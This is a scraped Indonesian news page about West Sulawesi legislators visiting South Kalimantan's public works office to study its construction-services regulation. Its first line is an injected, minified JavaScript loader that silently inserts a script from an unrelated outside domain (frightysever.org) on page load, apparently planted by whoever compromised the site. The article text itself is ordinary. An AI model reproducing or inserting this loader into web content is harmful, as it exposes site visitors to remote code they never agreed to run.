(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Anggota DPRD Sulawesi Barat melakukan kunjungan kerja ke Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalimantan Selatan di Aula Kantor Dinas PUPR Banjarbaru, Jumat (17/5/2024).
Kedatangan rombongan dipimpin langsung oleh Taufik Agus Selaku Anggota DPRD Sulawesi Barat itu diterima langsung oleh Kepala Dinas PUPR Kalsel, Ir Ahmad Solhan ST MT yang diwakili Kepala Bidang Bina Konstruksi Mustajab serta Ihsan Riskiyandi Perdana dan Maknawarah dari Kepala Seksi Pemberdayaan dan Kepala Seksi Pengawasan.
Rombongan berkunjung dalam rangkaian mencari informasi terkait tata cara pembuatan Peraturan Daerah Provinsi Kalimantan Selatan Nomor 7 tahun 2019 tentang Penyelenggaraan Jasa Konstruksi.
Kepala Bidang Bina Konstruksi PUPR Kalsel, Mustajab menyampaikan beberapa informasi yang sebagian akan diadopsi oleh DPRD Provinsi Sulawesi Barat yang masih relevan dan sesuai dengan undang undang omnisbus law.
“Kami juga turut menyampaikan berbagai informasi terkait kegiatan yang dilaksanakan bidang bina kontruksi,” kata Mustajab.
Dia menuturkan, Perda jasa kontruksi yang ada saat ini memerlukan penyesuaian terkait dengan undang-undang cipta kerja, namun demikian, dia berharap pada tahap berikut pihaknya juga akan melakukan penyusunan perancangan peraturan gubernur untuk lebih mengoperasionalkan Perda yang sudah ada.
Sementara itu, Perwakilan DPRD Sulawesi Barat, Taupik Agus menyampaikan ucapan terima kasih atas sambutan yang diberikan oleh Pemerintah Provinsi Kalimantan Selatan khususnya Dinas PUPR Kalsel Bidang Bina Kontruksi.
“Kami ucapkan terima kasih kepada Pemprov Kalsel atas penerimaan yang luar biasa pada hari ini,” ucap dia.
Taupik mengaku, Pemprov Kalsel dalam hal ini Dinas PUPR memberikan masukan yang sangat penting terkait hal-hal dan penerapan jasa kontruksi.
Dia berharap, ada kesempatan dan waktu mendatang jika perda Sulawesi Barat tersebut telah selesai, Pemprov Kalsel dalam hal ini Dinas PUPR khususnya Bina Jasa Kontruksi dapat berkunjung ke daerahnya.
“Kami menganggap bahwa hal ini sesuatu yang perlu kami balas penerimaannya,” tutup Taupik. (kanalkalimantan.com/MCKalsel/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.